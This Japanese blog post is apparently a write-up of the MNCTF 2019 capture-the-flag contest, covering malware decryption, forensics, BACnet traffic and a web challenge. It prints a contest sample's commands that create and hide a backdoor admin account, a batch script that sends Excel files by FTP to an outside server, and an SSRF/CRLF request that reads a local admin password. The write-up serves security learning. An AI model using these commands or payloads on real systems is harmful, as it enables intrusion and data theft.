Tahoo!!

自分の勉強していること(コンピュータ関連 / ネットワーク / セキュリティ / サーバ)や趣味について書いていきます

MNCTF 2019 Writeup

Macnica Networks Dayで毎年開催されているMNCTFの2019年版が一般公開されたので挑戦してみた。

f:id:takahoyo:20190707232741p:plain

mnctf.info

今年も半日開催のCTFということで、思いつけばすぐ解ける問題が多かったと思う。

フォレンジックマルウェア解析の部分は普段の業務に近いこともあってあまり苦戦しなかったが、普段触れないIoTな問題やWeb問題は少し苦戦した。

結果として勉強になる問題が多くて今年も素晴らしいCTFだった。

全問解けたので、全問Writeupを残しておく。

以下、ネタバレ注意

悪意部品(暗号) 100pts

マルウェア PLEAD で使われているモジュールを復号して、通信先のドメインを見つける問題。

モジュールの暗号化方法および復号方法は問題文に書いてあるJPCERT/CCの記事(攻撃グループBlackTechが使うマルウエアPLEADダウンローダ)に載っている。

この記事によると、PLEADモジュールのバイナリは、最初の0x20 BytesがRC4の鍵で、その後ろのデータがRC4で暗号化されたデータである。

暗号鍵は、43 2c c9 de 28 e2 a6 c0 52 98 41 ef bc bf a5 12 88 9e c2 3d 0a c9 10 eb 51 08 ef 49 94 e0 e9 b7

CyberChefを使ってRC4の復号を行う。

gchq.github.io

https://gchq.github.io/CyberChef/#recipe=Drop_bytes(0,32,false)To_Hex('Space')RC4(%7B'option':'Hex','string':'43%202c%20c9%20de%2028%20e2%20a6%20c0%2052%2098%2041%20ef%20bc%20bf%20a5%2012%2088%209e%20c2%203d%200a%20c9%2010%20eb%2051%2008%20ef%2049%2094%20e0%20e9%20b7'%7D,'Hex','Latin1')

f:id:takahoyo:20190707234629p:plain

復号すると、以下の文字列が見つかる。

macniki.com/index.php?id=

この中のドメイン部分が答え

macniki.com

標的攻撃Ⅰ(フォレンジック)80pts

ディスクイメージ(diskimage.vmdk )から、自己消去されたマルウェアを復元し、MD5ハッシュ値を求める問題。

FTK Imagerで diskimage.vmdk を見る。

root ディレクトリを見ると、 a.exe というファイルが削除された痕跡がある。

f:id:takahoyo:20190707234702p:plain

このファイルを復元して、MD5値を取る。

5680a78ad0714d501f1a66215f509dfd

標的攻撃Ⅱ(マルウェア)60pts

標的型攻撃Ⅰで復元したマルウェアを実行すると作成されるローカルユーザアカウントを特定する問題。

とりあえず、 strings コマンドを実行してみる。

>strings a.EXE

Strings v2.53 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

!This program cannot be run in DOS mode.
.text
 .data
@.import
h1 @
h0@
@jj
h6 @
h1 @
@jj
h1 @
d0@
cmd
/c net user /add SUPPORT_388945a1 @Abc123456
open
/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited
/c del a.exe
This sample is a part of MNCTF 2019, cyber challenge. Not a malware. @Sh1n0g1
kernel32.dll
shell32.dll
ExitProcess
Sleep
ShellExecuteA

以下のコマンドがユーザアカウント作成に関連している。

/c net user /add SUPPORT_388945a1 @Abc123456

SUPPORT_388945a1というユーザをパスワード @Abc123456 で作るコマンドなので、答えは以下の通り。

SUPPORT_388945a1

標的攻撃Ⅲ(マルウェア)60pts

作成されたユーザ名からマルウェアAを開発した攻撃者グループの名称を突き止めよ。という問題。

SUPPORT_388945a1Google検索すると、以下の記事が出てくる。

blog.macnica.net

OceanLotus

標的攻撃Ⅳ(マルウェア)60pts

マルウェアAを実行すると作成される、「作成したユーザをログイン画面で非表示にするためのレジストリキー名」を答える問題。

先のsrtingsの結果を見ると、以下のコマンドを実行して、レジストリにいろいろとキーを登録していそう。

/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited

この中で、「作成したユーザをログイン画面で非表示にするためのレジストリキー名」は以下である。

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

建屋制御Ⅰ(ネットワーク) 60pts

工場内の空調を制御する制御システム間を流れるパケットのキャプチャデータと制御システムの設定シートの画像(一部インクがこぼれて見えない)から、空調コントローラの「location」名を特定する問題。

Wiresharkでpcapファイルを見ると、BACNetという見慣れないプロトコルで通信を行っている。 Building Automation and Control Network の略で、ビルの空調、照明、アクセス制御、火気検出などの総合的制御に使われるプロトコルらしい。

ja.wikipedia.org

パケットをざっと見ていくと、localtionの確認を要求するパケット(Confirmed-REQ)とその応答パケット(Complex-ACK)が見つかる。

f:id:takahoyo:20190708001630p:plain

応答のパケットの詳細を見ると、locationの情報が載っている。

Frame 78: 73 bytes on wire (584 bits), 73 bytes captured (584 bits) on interface 0
Ethernet II, Src: CadmusCo_a7:d7:dc (08:00:27:a7:d7:dc), Dst: 0a:00:27:00:00:15 (0a:00:27:00:00:15)
Internet Protocol Version 4, Src: 10.0.0.101, Dst: 10.0.0.1
User Datagram Protocol, Src Port: 47808, Dst Port: 59811
BACnet Virtual Link Control
Building Automation and Control Network NPDU
Building Automation and Control Network APDU
    0011 .... = APDU Type: Complex-ACK (3)
    .... 0000 = PDU Flags: 0x0
    Invoke ID: 29
    Service Choice: readProperty (12)
    ObjectIdentifier: device, 1002
    Property Identifier: location (58)
    {[3]
    location: UTF-8 '1F_factory'
    }[3]
1F_factory

建屋制御Ⅱ(ネットワーク) 80pts

前の問題のパケットから、2019/07/02 11:06(UTC) 時点での工場の温度を調べろという問題。

工場の室温を制御しているセンサのIPアドレスは、10.0.0.101 であることが前の問題がわかるので、このIPアドレス関連のパケットに絞って見ていく。

また、調べる時間も 2019/07/02 11:06 (UTC) と決まっていて、室温の情報があるとしたらセンサからの応答パケットに絞られるので、No.114とNo.129のパケットに絞られる。

No.114のパケットの詳細を見たら、温度の情報が載っていた。

Frame 114: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface 0
Ethernet II, Src: CadmusCo_a7:d7:dc (08:00:27:a7:d7:dc), Dst: 0a:00:27:00:00:15 (0a:00:27:00:00:15)
Internet Protocol Version 4, Src: 10.0.0.101, Dst: 10.0.0.1
User Datagram Protocol, Src Port: 47808, Dst Port: 59811
BACnet Virtual Link Control
Building Automation and Control Network NPDU
Building Automation and Control Network APDU
    0011 .... = APDU Type: Complex-ACK (3)
    .... 0000 = PDU Flags: 0x0
    Invoke ID: 33
    Service Choice: readPropertyMultiple (14)
    ObjectIdentifier: analog-input, 5
    listOfResults
        {[1]
        Property Identifier: present-value (85)
        {[4]
        present-value: 19.706110 (Real)
        }[4]
        Property Identifier: status-flags (111)
        {[4]
        status-flags: (Bit String)
        }[4]
        Property Identifier: out-of-service (81)
        {[4]
        out-of-service: FALSE
        }[4]
    ObjectIdentifier: multi-state-input, 9
    listOfResults
        {[1]
        Property Identifier: present-value (85)
        {[4]
        present-value: (Unsigned) 4
        }[4]
19.70611

情報漏洩I(マルウェア) 100pts

難読化されたファイルを解読し、ツール名を答えろという問題。

拡張子が .bat でバッチファイルぽいので、VSCodeで開いてみる。

VSCodeで開くと、以下のようにシンタックスハイライトされる。

f:id:takahoyo:20190708000606p:plain

変数としてシンタックスハイライトされている部分( %.% )を取り除いてみると、 1行目は @echo off のように見える。

VSCodeの置換機能で、正規表現 %.% にマッチする文字列をすべて取り除いてみると、ツールの難読化が解除でき、ツール名が見える。

f:id:takahoyo:20190708000525p:plain

XLS_Stealer_w00fw00f

情報漏洩Ⅱ(その他) 100pts

ツールで盗まれた文書の文書内の「タイトル」を答えるという問題。

ツールのif文以下の処理からコメント文を取り除くと、以下のようになる。

echo open 157.7.53.197> temp.txt
echo P455w0rd>> temp.txt
echo ftp-user>> temp.txt
echo bin>>temp.txt
echo mput *.xls*>>temp.txt
echo quit>> temp.txt
ftp -i -s:temp.txt
del temp.txt

これは、同じディレクトリ内の.xlsにマッチするファイル名のファイルをFTPでアップロードする 処理。

157.7.53.197 のサーバは生きていそうなので、ftpでアクセスしてみる。

$ ftp
ftp> open 157.7.53.197
Connected to 157.7.53.197.
220 This FTP server is a part of MNCTF2019. http://mnctf.info
Name (157.7.53.197:user):

This FTP server is a part of MNCTF2019. って書いてあるので、問題サーバぽい。

一見、 P455w0rd がパスワード、ftp-user がユーザ名に見えるが、 FTPサーバからはユーザ名、パスワードの順番で聞かれるので、これは逆である。

Name (157.7.53.197:user): P455w0rd
331 Please specify the password.
Password:
230 Login successful.

ログインできたので、ディレクトリ内を見てみると、盗まれたと思われるファイルがあった。

Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44176|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0               0 Jul 03 02:55 This_is_a_part_of_MNCTF2019.not_a_real_attack
-rw-r--r--    1 0        0          203476 Jul 05 06:45 顧客情報マスタ.xlsx
226 Directory send OK.
ftp> mget 顧客情報マスタ.xlsx
mget 顧客情報マスタ.xlsx [anpqy?]? y
229 Entering Extended Passive Mode (|||47817|).
150 Opening BINARY mode data connection for 顧客情報マスタ.xlsx (203476 bytes).
100% |*****************************************************************************************************************************|   198 KiB    1.42 MiB/s    00:00 ETA
226 Transfer complete.
203476 bytes received in 00:00 (1.20 MiB/s)

盗まれたと思われる文書ファイルを開くと、「タイトル」が書いてあった。

f:id:takahoyo:20190708001017p:plain

顧客情報一覧2019上半期

暗証保護(Web) 100pts

Webサーバに直接パスワードを置いてしまったが、ローカルからしかアクセスできないようにしているため、安全だと主張しているサイトから、パスワードを読み取れ。という問題だった。

アクセスすると、 パスワードを置いてしまったと思われるファイル password.php と、URLを入力するとHTTPのリクエストヘッダとレスポンスヘッダを表示してくれる webchecker.php というサイトがある。

webchecker.php で、webcheck.phpでアクセスしてFlagを見る問題と考え、hostに mnctf.info、 pathに /mnctf2019/task/admin/password.php を入力してアクセスしてみるものの、一部しか表示されない。

path部の後ろに改行が入れられるかなーと、以下のようなパラメータをURLで渡してみると、何故か一部しか表示されなかったコンテンツがすべて表示された。

host=mnctf.info&path=%2Fmnctf2019%2Ftask%2Fadmin%2Fpassword.php%0D%0A

f:id:takahoyo:20190708001346p:plain

が、これは外部から見たサイトのコンテンツである。

問題文にローカルからしかアクセスできないと書いてあり、 hostで mnctf.info を指定すると外部からのアクセスになってしまうので、 localhost にしなければならなかった。

パラメータを以下のように変えてアクセスしたところAdminのパスワードが表示された。

host=localhost&path=%2Fmnctf2019%2Ftask%2Fadmin%2Fpassword.php%0D%0A

f:id:takahoyo:20190708001402p:plain

admin20190703

ちなみに、 %0D%0A を入れるだけは想定解ではなかったらしい。